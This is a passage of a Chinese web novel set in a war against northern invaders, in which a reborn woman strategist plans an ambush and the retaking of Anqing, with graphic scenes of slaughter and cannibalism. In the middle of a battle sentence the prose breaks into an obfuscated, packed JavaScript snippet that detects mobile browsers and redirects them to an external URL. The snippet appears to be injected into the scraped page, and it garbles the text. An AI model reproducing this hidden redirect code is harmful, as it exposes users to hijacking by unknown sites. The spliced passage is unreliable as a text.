之后她将另一个鸡腿夹到徐铭碗中,说道:“早就看你馋了,吃吧!” “好嘞,我就不客气了!”徐铭说着就咬了一大口,这几日粗茶淡饭的,他的确是想吃肉想得不得了。 韩成看着徐铭的样子,笑道:“徐校尉还真是不见外……呵呵……” “他呀!就同我弟弟一般。”沈明月叹息一声,目光中带着关爱,似乎透过徐铭看到了弟弟云开,她声音有些黯然:“若我弟弟在,也该有他这般大了。” 徐铭吐出骨头问道:“哦?先生还有个弟弟?我怎么没听说过!” “他……都是以前的事了,吃饭吃饭。”沈明月低头吃了两口饭。 韩成看出沈明月的伤感,明白了为何她对小莲也是一副长者的样子,于是感叹一句:“这做姐姐的就是稳重,不过看年岁,你倒是比徐校尉还小些。” “我是长得年轻罢了。”沈明月讪讪地笑道,自觉失言,又忘了现在年龄小。 “不知沈长史是哪里人?家中可还有什么人?”韩成对这位长史非常好奇,到底是什么样的人家,会培养出如此有胆识有谋划的女儿。 这一问倒让沈明月不好回答,不知沪上现在是什么地方,就是知道她也不能说呀,原身柳慕云是哪里人来着? 她只继承了柳慕云的身体,却没有继承她的记忆,在柳宅也没人说起地名,那常嬷嬷好像提过一次,但是也不记得了。 “就是营州人……”她含糊其辞,端起水杯说道:“来,我以水代酒,先敬将军一杯。” 韩成不解,“哦?不知沈长史为何要敬我?” 沈明月默念了一句,因为你废话多,可面上却笑道:“还要多谢将军这几日对义军的照应,以后还请将军多关照。” 韩成坦荡一笑,“都是应该的,义军兄弟不求回报,一心为国,韩某也只是尽自己所能。” 这几句话让徐铭感到惊讶,他看看韩成又看看沈明月,“先生今日怎这般客气,对我主上怎么就……” “吃你的饭!”沈明月说着又给他夹了两片酱牛肉,之后转向韩成:“韩将军,可否将这里的情况同我说说?” 韩成见她避开问题,并没有端起水杯,而是说道:“沈长史恕罪,军机不出议事厅。还有,我韩某是个性子直,沈长史连身世都不肯告知,怎能让韩某相信?以后又如何共事?” “好,是爽快之人,我沈明月就愿意和这样的人交朋友,我先干为敬。”沈明月饮尽杯中水,话音中带上了沉重,“韩将军,说来都是苦难,母亲与弟弟惨死敌手,父亲从军,家中仅留我一人……” 眼见她越说越伤心,韩成不好意思起来,说道:“抱歉,我实在不知道……”说完他看着徐铭:“你就知道吃,怎么也不提醒我点。” 徐铭也不知实情,一脸委屈地看着沈明月,刚咽下一口食物,想说不是还有莺儿吗? 沈明月没有给他说话的机会,深吸一口气,继续说道:“在将军看来,是不是我一介女子不该抛头露面……” “不,不是,我倒不是这样认为,古有妇好、木兰都是巾帼英雄,我并没有看不起女子的意思。”韩成顿了一顿,“我只是不理解,沈长史为何能在短时间内组建起义军,如何能让他们愿意到这里来?” 原来是这样,沈明月心中反倒轻松起来,看来要给他上一课了,她耐心地说道:“精神凝聚力,懂吗?” 韩成有些茫然。 “我懂,我懂。”徐铭抢着说道:“义军之中皆是北境来的流民,失去了亲人和土地,都期望赶走北蛮人回到家乡,有了一致的目标就会朝一个方向努力,这就是精神凝聚力。” 韩成带着些惊讶看向徐铭,这话他倒是听明白了,但这么浅显的道理他却没有参透,他手下也无人能说出这番话来。 “学得不错,有长进。”沈明月又夹了一大块鸡肉给徐铭,以示鼓奖励。 “韩将军,正如徐铭所说,调动队伍的主观能动性,明确目的,让大家知道是为自己的未来而战、为自己的亲人而战、为自己的家国而战,如此才能‘无往而不胜,所求必得,所欲必从’。” “我们要凝聚的不仅仅是把人召集在一起,还要凝聚人心,凝聚共识,凝聚智慧,凝聚力量。正所谓‘人心齐、泰山移’,只要我们劲往一处使,力往一处发,北境何愁不平。” 韩成咀嚼着一块肉,认真听着这些话,认真揣摩其中的意思,觉得十分有道理,军队作战不能只依靠军令的约束,虽说军令如山,可挡不住军士怯战畏战,只有军士们同仇敌忾,才能上下一心。 之前倒是小看了这个女子,他不禁抬眼看了沈明月一眼,见她又端起来水杯,立即咽下食物,也端起水杯来,“怪不得大家都称呼你为沈先生,大殿下真是慧眼识人,不过先生之才做个小小的长史真是委屈了,韩某今日受教了,先干为敬。” 说罢饮尽杯中水,大笑一声“痛快”,这杯中虽然不是酒,但滋味却远胜于琼浆玉液。 这时,外面有人来回禀:“禀将军,陈将军到了,大殿下命将军和沈长史到议事厅去。” 三人忙放下手中的碗筷,随来人赶到议事厅。 厅内,陈长生伏跪在地上委屈抹泪,面前散落这几折文书,而顾洲正面带怒色坐于上首,眉头锁在一起听着他的辩驳。 “大殿下息怒……末将这一路赶来遇到了北蛮人,差点就见不到大殿下了……城外北蛮人肆虐,末将只能紧闭城门,保一城人安全。” 召他前来的令,顾洲的是三天下的,派人骑快马送出,算时间最多两个时辰就能送达,可这人却怀疑有诈,拒开城门让使者进入,还是使者将新绑在箭矢上,射到了城楼上。 他找人验过真伪后,当场吓软了腿,知道再也躲不过去,于是硬着头皮前来。 “胡说!”顾洲又将一册文书砸向叩首之人,“我这一路巡狩过来,没遇到几个北蛮人,怎么陈将军一出动就遭到袭击?这北蛮人是只攻打你陈将军吗?” “守城不出,城内供给能 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此时沈明月三人进到议事厅,正见这一幕,韩成与徐铭不屑地看了陈长生一眼,对于这样没有骨气的将领,他们是打心眼儿里瞧不起的。 可沈明月却看到了顾洲眼中的闪烁,她上前一步拱手为礼:“还请将军息怒,陈将军没有功劳也有苦劳,保得一城人平安也是不易,在下想陈将军也愿将功赎罪吧!” 听见有人求情,陈长生也不看是谁,忙叩首道:“末将正有此意,末将愿追随大殿下,一切听大殿下安排!” 这话让韩成和徐铭更加不屑,这人不仅没有骨气,还是贪生怕死之人。 顾洲原本就是压压陈长生的锐气,之后再找个台阶将他放出来,恩威并施,逼他抗敌,不想这台阶来得这样快。 他假装思考一会儿,沉声说道:“既然沈长史求情,那就暂且饶你一死,记住你说的话,若有退缩,当即立斩。” “谢殿下!谢殿下!”陈长生连叩三首,之后又转向求情之人:“陈某多谢沈长史。” 之后抬头一看,眼中满是惊诧,这沈长史竟然是个女子,而他自己刚才过度紧张,竟没有听出说话这人是个女子。 他也不敢多问缘由,悄悄擦了擦汗,就听上首的顾洲说道:“既然大家都到了,就一起看看现在的战况。” 几人围到舆图周围,徐铭代表营州城防,韩成代表凌源驻军,陈长生代表兴城驻军,而沈明月代表义军。 顾洲指着安庆说道:“此次我来就是要收复安庆。” 陈长生嗫喏道:“朝中可无出兵的旨意,殿下此番可是……” 他后半句话还没有说出口,就感觉背后起了杀意,用余光一瞥见徐铭正紧紧盯着他,两道目光似两把利剑,似乎再多说一字,这剑锋便要穿心而过,吓得他赶紧住了嘴。 之后韩成开始讲解当前情况,北蛮人是游牧民族,一直在北部草原随着水草迁徙,今年不知为何突然南下,此次虽占了安庆,但主要兵力还驻扎在安庆以北,他们自己的地盘上,据探查安庆城中只有一位部落王克拉木斯在驻守。 “他们目前有什么动静?” 沈明月担忧地问道,她眉头紧锁,紧紧盯着舆图,安庆以北是砚山山脉,作为天然屏障将北蛮与齐国隔开,而今北蛮人越过屏障,便可一路南下入侵中原,这与上一世敌寇入侵路线简直如出一辙。 现在需将其赶回砚山以北,打到他们无力反击,如此中原可无后顾之忧,或者,假如兵力充足,假如统治者有野心,也可以一鼓作气将北部平原全部纳入国土之内。 想到此处,她目光中不自觉地带上了希望和期待,抬头看向这里的最高领导者,发觉他也正在看着她,但对方随即低头看向舆图。 可目光交错间,她捕捉到了那眸光中的信任。 23. 解释 沈明月的目光犹如杵钟一般,重重砸向他的心脏,使他呼吸一凝,生出了一股莫名的压力感。 众人的精神都集中在舆图上,韩成思考了一下才回答道:“安庆防守的紧密,但似乎没有动兵的迹象。” 顾洲立即调整心神,说道:“没有迹象不代表没有计划,我们要趁其行动之前,收回安庆。” 沈明月赞同道:“对,速战速决,不留余患。” 韩成细细算了算,“咱们这些人马加起来不足八千,这仗怎么打?” “这舆图有不翔实之处,如果作战,我需要更相信的信息。”沈明月看向顾洲,“请将军允许说将舆图带到义军中,他们之中有安庆本地人,知道详细的地理情况。” 顾洲点头同意,会议暂停。 沈明月拿了一份舆图离开议事厅,准备到义军营中找肖广林求教,没走几步身后却传来陈长生的声音:“站住。” 她闻声驻足,猜测他是要道谢,笑着回头客气道:“陈将军,有何吩咐?” 不想这陈长生并没有道谢,而是居高临下地说道:“你个女子是怎么当上长史的?” “陈将军若无其它事,在下告辞!”沈明月没有客气,礼都没行转身想走。 “站住!”陈长生的声音略高了两度,显然是对她这态度不满意,“不要以为你为我求情我就会感激你,今日殿下不过是吓唬吓唬我,你以为真会要我的命?今日就算是个路过的士兵为我求情,殿下都会同意。” 这语气这态度,仿佛在说阿猫阿狗说句求情的话都会管用一般,这人不感恩也就罢了,竟然还阴阳怪气的,若在平时,沈明月定要损他几句,可是现在哪里有时间。 沈明月不想与他纠缠,只说道:“是,是,我还有事,陈将军请便。” 陈长生一拳打在棉花上,心中一团闷气幽火发泄不出来,张口连说了两个“你”字。 “陈将军,怎么还在这里磨蹭?” 顾洲的声音在陈长生身后响起,他顾不得沈明月,立即换上一副谦卑的笑脸,转身行礼:“殿下有何吩咐?” 顾洲命令道:“徐铭,你与陈将军速去兴城调兵,明日午时前务必赶回来!” “这,这也来不及呀!”陈长生提出异议,可看到大殿下那要吃人的目光,也不敢再多言。 “是!”徐铭语气坚定地回答,之后拖着还在嘟嘟囔囔的陈长生的离开。 沈明月看着陈长生被拖走,知道这是顾洲帮自己出气,她对他微笑点头致谢,之后匆匆离开。 顾洲看着她离开的背影,心中忽觉空了一块,下意识地摸了摸自己的唇,之后赶紧收回手,握成拳头背在身后。 回到议事厅,他让思绪快速回到战事上,想着攻城计划,可他们这点人,既要攻城又要防外援,无论如何排兵布阵,似乎都不怎么富裕。 他与韩成二人计划了几个方案,但似乎没有什么十全的法子,一种焦灼的氛围开始在空气中弥漫。 夕阳透过窗子将舆图染成橙黄色,顾洲扬了扬发酸的脖颈,走出议事厅,看着太阳迫近西山,心中仿佛有一团乱麻,纠结缠绕,令他无法理清思绪。 天气虽晴,可他仿佛却被一团乌云笼罩,压抑沉闷,让他感到窒息和无力。 落日最终被吞没,可余光却与暗夜做着最后的较量,一天又要过去了,明天,又会是怎么样呢? 时间似乎减缓了脚步,但也终于走到了第二日午后,徐铭与陈长生带着队伍赶了回来,二人来不及喝一碗水,便去向顾洲和韩成回禀。 陈长生擦了擦汗,一副劳累至极的模样,行礼道:“启禀殿下,安庆三千军马及粮草已到达。” “陈将军辛苦……”顾洲瞥了他一眼。 徐铭却冷哼一声,扭过头去不愿看这个人,心想这人真是狡猾自私,兴城中已断粮断柴多日,这厮却不开仓赈济,百姓已有不少人饿死,此人的府衙却一切如旧,他去了之后开仓放粮,又逼着这厮点了兵马、带了粮草前来,否则也不会耽误了这么长时间。 顾洲看出了徐铭的不满,却示意他不要说话。 这时沈明月带着舆图进来,也不行礼,径直将舆图展开在桌上,说道:“正好大家都在,过来看看。” 众人围了上来,只见图上画出许多闭合的曲线,并标记了几个重要位置。 “这线是什么意思?”徐铭问出了疑问,这也是大家的疑问。 沈明月简单地解释道:“这线是等高线,每一条曲线上的点高度相同,线越密集表示地势越陡峭,线越稀疏表示地势越平缓。” 之后她指着舆图上的几个点说道:“这里是安庆,这里是距离兴城最近的北蛮驻军,我们要打安庆,必然有人来支援。” 顾洲:“这些我与韩将军已经想到了,安庆现在防守严密,短时间内攻不下来的话,等北蛮的援军一到,那就更没有希望,以现在的人马,估计这仗是场硬仗。” 韩成神色复杂,默默地点了点头,但他心中已下定决心,只要大殿下下令,他绝服从。 “我们可以换个思路!”沈明月一开口,似乎给了众人希望,纷纷将目光投向她。 她引导众人的思维:“想想我们最初的目的是什么?” “剿匪!”徐铭抢先回答。 沈明月:“对!是剿匪,剿匪当然要进山……” 顾洲思索着问道:“所以你的计划是将人引进山中?” “聪明!”沈明月赞许地看了他一眼,像是鼓励她的学生一般,“说得好,但我们要引的不是安庆的敌人,而是这里的敌人。” 她用手重重地点在了舆图上北蛮人驻兵的地方,“这叫围城打援!” 之后她详细讲解了一番,即义军围困安庆城,引诱敌人来增援,而增员之人必经黑石沟,令军队的弓箭手在两侧山腰上隐蔽设伏,义军埋伏在沟口和沟尾,待敌人进入包围圈,四面夹击,将敌军一举歼灭在黑石沟内,之后集中兵力,反击安庆,一举夺城。 沈明月还指,出此次行动以歼灭敌人有生力量为主要目标,不以保守或夺取安庆为目标,围城的目的不在夺城而在打援。 这战术倒是第一次听说,众人面面相觑之时,陈长生却惊讶地问道:“义军?你是说你手中有义军?那就让义军去攻城不就行了?这样不算动兵,朝中也不会追责!” 一听这话沈明月便怒了,当场拍案而起,骂道:“你自己当瓮中鳖,让别人去当炮灰?别以为你那点小心思能瞒得过大家,你正规军的命是命,我义军的命难道就不是命吗?让一群手无寸铁的百姓去攻城?你真好意思说出口!你拿着国家的俸禄,不去保护该保护的百姓,反而推脱责任让百姓去冲锋陷阵,亏你还说你是兴城培养出来的将领!简直是忘恩负义!” 说到最后,沈明月义愤填膺,但却忍着怒气没有再发作,面色不由得一点点涨红起来,她这愤怒的起因,不仅仅是对陈长生这个想法,也是对前一世某些人消极抗敌的态度。 虽然这到了这里,她可以一切重新开始,可心中总是意难平,这意难平促使她走到了这一步,有时她甚至忘记了自己已然重生这个事实。 就像现在,她怒气翻涌,手紧紧攥成拳头,恨不得枪毙这个败类。 众人似乎都被沈明月质问和怒火震惊到,只有顾洲若有所思,猜想她是因昨日陈长生的刁难,而借机发作。 “你想过没有,若是引不出安庆之敌或是援军不来呢?”陈长生乜斜了一眼沈明月,“这屋内之人,怕只有你没有上过战场吧,你这纸上谈兵谈得倒是不错,若是实战起来,啧啧……” “你!”徐铭想维护沈明月,却被顾洲拦住。 他说道:“陈将军可有更好的注意?” 陈长生依旧坚持己见,“回殿下,末将认为,还是尽快上书朝廷,等朝中旨意下来为好。” 显然这是个稳妥的方法,但安庆之人不能再等了,顾洲决绝地回答:“我意已决,朝廷追责下来,我自会承担。”< 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脚步声自身侧响起,她心中一惊忙擦了泪,这脚步声她已熟悉,是顾洲,可她不愿让他看到自己这软弱的模样。 她深吸一口气,调整了一下表情抬起头来,却见顾洲递上一个纸包,“给,你还没用晚饭。” “谢谢!”她接过打开,里面是几块枣泥酥,可她却没有心情吃。 “都说女孩子爱吃甜食,甜食会让人开心。”顾洲看到了她眼角的泪痕,但只假装没看到。 这句话逗笑了沈明月,“你还真是了解女孩子……”随后她想起来什么,拿出匕首和药膏,“给,之前忘记还给你了。” “我送出去的东西从没有再收回来的道理。”顾洲顿了一下,“战场危险,留着防身。” “那这个替我还给海棠。”沈明月只收回了匕首,又送上药膏。 顾洲坐到她身边,看了一眼,没有要接的意思。 “怎么?你不是想要回这药膏很久了吗?还请替我跟海棠解释,我对你……”沈明月突然找不到一个合适的词来说,想了一下说道:“她可能误会你跟我了。” “什么叫我想要回这药膏很久了?” “你……”沈明月听这话的意思,很显然是对方没有抓住重点,她不好意思再说,只能顺着他说下去,“那为何这药膏会出现在你身上,不是你悄悄拿去了吗?” 她以为对方会尴尬,不想顾洲却坦荡地说道:“是我捡到的,被袭那晚后甩开了追杀,却发现没有带上你,于是立即折回去寻找,跟上的只有几名侍卫,回去后翻遍整个营地却只找到了这个瓷瓶,随后又被刺客发现,寡不敌众,我负了伤,弃马藏身树丛中才躲过一劫,又恰巧被你救了。” 之后他看着沈明月,认真地说道:“我跟海棠,你大概是误会了,她只是我是暗卫,我对她从来没有过逾矩之举,之前的那些荒唐事,都是做戏给别人看。” 其实之前的事情沈明月未必知道,但是顾洲却想要解释清楚,不想让她继续误会下去。 他的认真让沈明月无法再有怀疑,原来是这样,原来有心怀误会的一直是她自己,这太尴尬,她低头吃了一块枣泥酥,之后才讪讪地岔开话题:“是我错怪你了……这枣泥酥……好吃。” 不过她当然没忘继续推荐自己的计划,婉转地说道:“不过你救过我,我也救了你,那咱们算是生死之交了。” 顾洲点点头:“是。” “你要相信,我不会害你,我也不会害军队和义军,所能不能好好考虑一下我的方案。” 她期待着对方的回答,不想对方却笑了起来。 “你这是什么意思?”她气鼓鼓地问道,“行就是行,不行就是不行,这么严肃的问题,你笑什么?” 顾洲没有立即回答,抬手用拇指抹去了她嘴角上一小块食物残渣。 沈明月的思绪一滞,愣愣地看着对方眸光中的温柔笑意,她神情中带上了一丝困惑。 24. 炼狱 这动作自然而然,似是年深日久的好友间平常事一般,可沈明月却没有理解。 “嘴角有东西。”顾洲解释了一句,才后知后觉到了自己的失态,赶紧转过头去,可心中却是欢喜的,心之所想行之所至,此刻他不想隐藏情绪,克制感情。 沈明月不好意思地低头抿了抿嘴。 顾洲轻咳一声后说道:“围城打援是个好计谋,但我需要论证,不是我不相信你,而是这涉及到千万军士的性命,我对安庆负责,也要对手下的将士负责,必须慎之又慎。这一仗若胜利,也许能将功折罪,若败……所以现在,我已没有退路。” 若败,会怎样? 沈明月转过头看着他,只见他直视前方,侧脸的轮廓分明,上面却是一份平和与安然。 地位越高,责任越重,眼前这个人,仅仅是“皇子”这个身份,就意味着要比别人承担义务和责任,更何况还有人在背后虎视眈眈,甚至一不小心会被安上一个谋反的罪名。 他若败,则是万劫不复,这代价未免太大了。 若他只是个普通将军,这样做或许可以挣一个忧国忧民的名声,可他终究不是普通人,其实他完全可以坐视不理,没有必要趟这趟浑水。 于是沈明月问道:“值得吗?” “什么?”顾洲转过头看着她,却没看透她眼中的忧虑。 “为了一座小城,用你的前途甚至性命来赌,你觉得值得吗?” “有什么值得不值得的?我只求问心无愧。”顾洲微微一笑,又看向远方,平静而深邃的眸光中是坚定的底色。 接着他回望着军营,缓缓说道:“但这么多人跟着我,跟我一起赌,我不能让他们输。 这几句话,让沈明月觉得有必要重新审视眼前之人,有魄力有担当,绝不是朱文口中的“骄奢淫逸”之人,也不是自己认为的“纨绔”,她也理解了他为什么不直接采纳自己的意见,作为一军的领导者,要顾全大局。 见她神色有些复杂,顾洲以为是话题太沉重,于是说道:“听徐铭说你父亲也在军中,他叫什么名字,我帮你去找。” 提到父亲,沈明月心中有些难过,当年沪上沦陷,母亲与弟弟所在的学校遭空袭,二人当场遇难,父亲将她送进军校后了金陵,后又转至渝州,现在细想想,她与父亲大约已不是一个阵营的了。 这些都成了前生往事,去探究也没有意义,但仍觉心中怅然无比。 她细细捏着一块酥,低下头轻轻摇了摇。 看她这落寞的样子,顾洲猜着或是她的父亲已战死,赶紧道歉:“抱歉,我不知道……”心中却不住地懊悔,怎么哪壶不开提哪壶。 一时沉默,良久沈明月站起身来,行礼道:“时也,命也……不早了,我该回去了,殿……殿下,告辞。” “殿下”这两个字她叫着极为不惯,但却是对认可了他这个人的一种表达,他的胸怀和城府对得起“皇子”这个身份。 “怎么?这是怕我了?还是怕我这身份?”顾洲虽然调侃她,在这个称呼中,他也感受到了几分尊重。 怕?笑话! 沈明月翻了个白眼,“顾洲,你别不知好歹!”之后转身就走。 还是这句话听着顺耳!顾洲心中起了波澜,眉毛挑起,嘴角抑制不住地上扬,只能用低头来掩饰,之后远远地跟着她,直到看着她进了住处才驻足。 他转头看看议事厅,那里的灯还亮着,是韩成在等他,他抬头看着中天的明月,心底涌起一丝酸涩,他知道不该在这关键时刻动情,或许根本就不该动情,可他控制不住自己的心。 按下一切心情,回到议事厅,与韩成细细分析局势、研究了战术,最后二人决定采用沈明月的谋略,但决定打援与攻城同时进行。 当各路兵力安排的军令写好时,窗外已是蒙蒙亮,外面已响起了军士操练的声音,顾洲将几人叫至议事厅,告知众人最后的决议并细细部署一番,下达军令后即刻开拔行动。 义军兵分三路,路挑起安庆战火,令两路负责驻守黑石沟首尾;韩成与徐铭带军队向黑石沟进发,待晚间进黑石沟埋伏;顾洲与陈长生带军监视安庆动静,趁城内空虚之时进攻。 众人迅速行动起来,陈长生虽有不愿但也不得不执行命令,且顾洲担心他怠战,特意安排他与自己一起攻城。 沈明月领了军令,匆匆来到义军营,与五位百夫长和参军召开了紧急会议,她简单交代了任务,之后安排道:“一营二营埋伏在黑石沟沟口,三营四营埋伏在沟尾,五营随我到安庆引敌。这一战不知需几日,出发前大家各自检查好各自的物资,尽量减少非战斗减员。” 之后她做了详细安排,在黑皮沟两侧的山顶上立长杆一根,根据敌人前进的位置放到长杆,待所有长杆全部放倒后,再展开全面进攻。 最后沈明月站起来,带着坚定说道:“告知众将士,战端一开,地无分南北,人无分老幼,皆有抗敌守土之责,皆应抱定牺牲一切之决心,众人务必戮力同心,救北境同胞于水火之中,收北境国土于铁蹄之下。” 散会后各营出发,肖广林带领的五营并没有着急出发,他们按照沈明月画的图做了几十个□□,将油灌到小口坛子中,用棉花堵住口,用时只需点燃棉花将坛子抛出,坛子破碎,油就会燃烧起来。 准备就绪,第五营人马出发,行路半日至安庆城外,果见城门紧闭,此时已至正午,本该是炊烟四起的时辰,却只见城中几处有烟升起,不知是何情况。 城墙四周无甚遮挡,贸然靠近定会被发现,但是不靠近,如何将□□投过去?此前,沈明月知道的手榴弹最好的投掷距离也就八十米左右,但这小酒坛就难说了。 但这可难不倒肖广林,只见他将点燃的□□绑在布条上,使劲抡了两圈后,远远地甩了出去,当不当正不正地正巧打在了城门上,瓶碎油洒之处皆燃烧起来。 之后其他人又投掷了几个□□,投掷之时几人竟还在暗暗较量,最远的竟投到了城中,眼见火着起来,城中也传出慌乱的声音,之后便有人马出来。 沈明月见好就收,命令人撤退,之后藏在附近山沟中的顾洲命人击鼓鸣锣虚张声势,再射几箭,果然敌人回城,派出了求援之人。 待城门大火扑灭,似乎刚刚稳定下来,沈明月故技重施,再次调动起敌军的紧张情绪,城中又派出求援之人。 顾洲细算着时间,已过去了两个时辰,估计援军已经派出,于是对沈明月发出了第三次袭击的信号,这次城中的敌人再也耐不住性子,调动兵力向义军发起攻击。 待敌军出来城门,顾洲下令出击,兵分两路,一路攻城、一路援助义军。 一番激战后,攻城的队伍占领了城门,回看城外的兵马与义军却已经被蛮人包围,这些蛮人似乎杀红了眼,而义军必经战斗经验不足,已处于下风,顾洲当即掉头要带人去援助。 可陈长生却阻拦道:“殿下,此时正事入城的好时机,切不可因小失大,丢了军功。” 顾洲此时已心急如焚,虽然现在是夺城的好时机,但义军怎么办?沈明月怎么办?他甚至没有思考,命两名副将带兵继续攻城,之后调转马头,用脚后跟狠狠踢了一下马肚子,马便猛冲了出去,他身后自有一队护卫跟上。 这时的沈明月手持一把长刀,却不知该如何使用,只能防御不会进攻,肖广林等人有意将其护在中间,可顾得了此处顾不了彼处,不多时人员便被打散。 呼喊冲杀声响彻云霄、兵器击鸣声不觉于耳,沈明月刚躲了前面的刀,侧面一把刀又砍来,她反手用刀抵住,对方力气太大她招架不住,被压着倒退几步,对方一发力,她便重重向后摔在地上,手中的刀被甩了出去。 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403687|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的刀再次砍来,看着那刀锋一点点落下,时间似乎慢下来,周围安静下来,她下意识地闭上眼睛。 这次,是真的要死了! 紧接着,只听面前传来利刃之声,再睁眼时,只见一柄长枪贯穿敌人身体,面前的敌人还没倒地,忽觉寒光一闪,一柄利剑又穿透了她左侧的敌人。 电光火石之间,她两次与死神擦肩而过,接着她被一身披银甲之人护在身后,这人左砍右杀,不给敌人可乘之机。 虽然没有看到正脸,但她知道这人是顾洲。 主帅亲自上阵士气大增,不多时便歼灭的全部敌人,待战斗结束,沈明月才看清顾洲的脸,全身甲胄和半个面庞已被鲜血染红。 “可有受伤?”顾洲急切地问道。 她只觉周身木然,看着满身血污,也不知道有没有受伤,这样近距离的冷兵器搏杀,战事惨烈到让她有些发懵,虽然她自诩身经百战,却也没有这么近的直面兵刃。 见她不动也不语,顾洲立即命令道:“来人,送沈长史入城,传令下去,义军全部入城,军队防守城门。” 沈明月被架上马背,在两名军士的护送下朝城门前进,穿过那道城门,众人便闻到了空气中弥漫的焦糊腐臭味,之后便好似进入了另一个世界——修罗地狱。 此时城已被攻下,街道上除了战死的军士和敌人,还四处散落着已经开始腐烂的残躯断肢,众人都被这一幕幕惊住,默契地不再发出任何声音,连呼吸都是小心翼翼的,只有脚步声在一片死寂中格外明显。 一个军士看到趴在地上孩童似乎在动,于是上前想将他抱起,可孩童身下却跑出两只老鼠,再看那孩童的脸,竟然被啃食地露出了骨头,军士当即吓得面如土色,大叫一声丢下孩童,向后坐到地上。 这场景令所有人震惊,再没有半分夺城胜利的喜悦,而昏黄的暮色似乎也读懂得人们的心情,为安庆城涂上了一抹悲凉。 行至城中一座庙宇前,一口十二印(1)大锅架在庙门口,锅下的火已经熄灭,唯有余烟冒出,而大锅旁边的砧板上是两个被肢解的人。 这场面骇人闻见,有人以手覆面不忍直视,甚至有人开始呕吐。 沈明月也觉胃中一阵翻江倒海,身体不由自主地颤抖起来,保持不住平衡,从马上摔了下去。 她不知道顾洲后来是怎样指挥安排的,只觉周围乱哄哄的,所有人都在忙着自己的事情,只有她不知道该做什么。 待魂归本体、元神归位时,沈明月睁开眼睛,只见徐铭用绷带吊着一只手臂,正焦急地守着她。 她有些疑惑地问道:“徐铭?你不是在黑石沟吗?” 之后想起身,左肩上却传来一阵剧痛,原来是受伤了。 “先生别动。”见她还算明白,徐铭也放下心来,“先生真是神机妙算,北蛮的援军果然从黑石沟经过,被咱们四面围攻,一个也没跑掉。” 沈明月这才恍恍惚惚地明白,昨日计划一切顺利,黑石沟那边全歼北蛮援军,这边顺利收复安庆。 “昨日我们回来的时候已经是半夜了,城内城外火光冲天,尸体堆了一堆又一堆,挖了几个大坑才埋完……城中那叫一个惨呀,十室九空,百姓家中不管贫富都被洗劫一空,身强力壮的都被抓回去当奴隶,柔弱的女子扔进军营中当作玩物……” “这府衙都成了那北蛮王子克拉什么斯的寻欢之所,没有一个侍女能逃过魔爪……他们还将人煮了吃,惨不忍睹、惨不忍睹……活下来的人见到咱们比见了亲人还亲…… “那个陈长生真是可恶,我不信他能取了克拉什么斯的首级……” 听着徐铭的絮絮叨叨,沈明月眼前浮现出昨日的一幕幕,胃中又是一阵翻腾,实在忍不住干呕起来。 “沈先生,你怎么了?” 徐铭刚想去扶她,却被人拦住了手。 25. 谢罪 来人正是顾洲,他责备徐铭道:“你不好好去养伤,来这里做什么?” “这点小伤算什么?”徐铭逞强似地动了动胳膊,可疼痛让他忍不住“嘶嘶”了两声。 “都出去!” 顾洲发话后,他身后的两名侍卫放下手中东西,和徐铭一起出去。 沈明月犹在思量刚才的信息,提出了几个要素:第一、黑石沟伏击战大获全胜,第二、顾洲连夜安抚百姓、清理内城,第二、北蛮王子克拉木斯已被陈长生斩首,第三、她们现在在安庆府衙内,相对安全。 也就是说他们这次行动已取得决定性的胜利,可她却一点也高兴不起来,为那些惨死的平民、涂炭的生灵感到无尽的悲悯。 一碗粥送到眼前,顾洲的声音传来:“吃些东西吧。” 沈明月看着碗里的粥,想起那冒着热气的大锅,一块块人肉在里面漂浮着,胃中开始翻腾,又是一阵干呕。 顾洲放下碗轻拍着她的后背,解释道:“这是山泉水煮的,锅灶也都是用得新的,放心。 沈明月摇摇头,“谢谢,我实在是吃不下……现在外面什么情况?” “北蛮王子被斩首,我担心恐北蛮人反攻复仇,就命军队在城外防守,现在只等朝中援军到来。” “朝中同意出兵了?”沈明月这句话虽然是询问,却带着一些肯定,战事到这个地步,再不出兵可真就是政府无能了。 顾洲点头默认,没有深说,而是指了指刚带进来的衣服,“这府中没有侍女,伤口是我给你包扎的,但没办法给你换衣服,你自己来吧。” 说罢,又看了她一眼起身出去。 沈明月看看自己,左肩的衣服被剪开,胳膊上缠着绷带,有丝丝缕缕的鲜血渗出,手已被擦干净,但衣衫上仍满是污渍。 她忍着痛简单梳洗、换了衣衫之后,打开了门,顾洲还等在外面。 空气中难闻的味道已经没有了,阳光下地面和绿植上都闪着星星点点的光芒,像是被水冲洗过一遍。 “昨夜下了一场大雨,倒是把城中冲洗了一遍。”顾洲眉头紧蹙,顿了一下,“血渍可以洗掉,但屈辱不可磨灭。” 之后他看着沈明月,说道:“你自己小心些,我还有事先走了。” 沈明月没什么力气,脑袋还有些混沌不清,等到人走远了,才想起没和他道别。 之后她走出府衙,街道上也已打扫干净,到处洒满了消毒的石灰,只有烈火灼烧的痕迹还昭示着这里曾是人间炼狱。 “沈长史!”肖广林的声音传来,“你没事了吧,我们都担心了好久。” “我没事。”沈明月摇摇头,犹豫着问道:“兄弟们……伤亡如何。” 提到伤亡,她内心愧疚,大家伙跟着她一路走来,她不希望有人伤亡,但又免不了有人伤亡。 “唉!死了几十个兄弟,伤了不少……”肖广林声音低沉下去,双手揣在袖子里,缓和了一下情绪后说道:“这个顾将军够义气,给亡者伤者登记造册,之后还承诺建功德碑、给家属发放抚恤金,还有他之前交代过军队里的人,要保护义军。昨日若没有顾将军带人相救,恐怕咱们都得成蛮人的刀下鬼。” “诺,你看。”肖广林抬胳膊指了指旁边的铺子,“这些无主的铺子都被利用起来了,顾将军还命军医为百姓看诊,那边是收留的孤儿,那边是孤寡老人……” 说话间却见人们往那处庙宇围拢,二人不明所以也赶过去,只见两个军士押着一人跪在庙前,那人披散着头发,面目灰暗,身上衣衫褴褛,沾满了血污。 正不知这人是谁,身边的一个军士就捡起一块石头向他砸去,“狗贼杨合,通敌叛国。 原来这就是安庆守将杨合。 接着人群一阵骚动,纷纷找东西向杨合砸去,甚至有人想上前去,却被看守之人拦住。 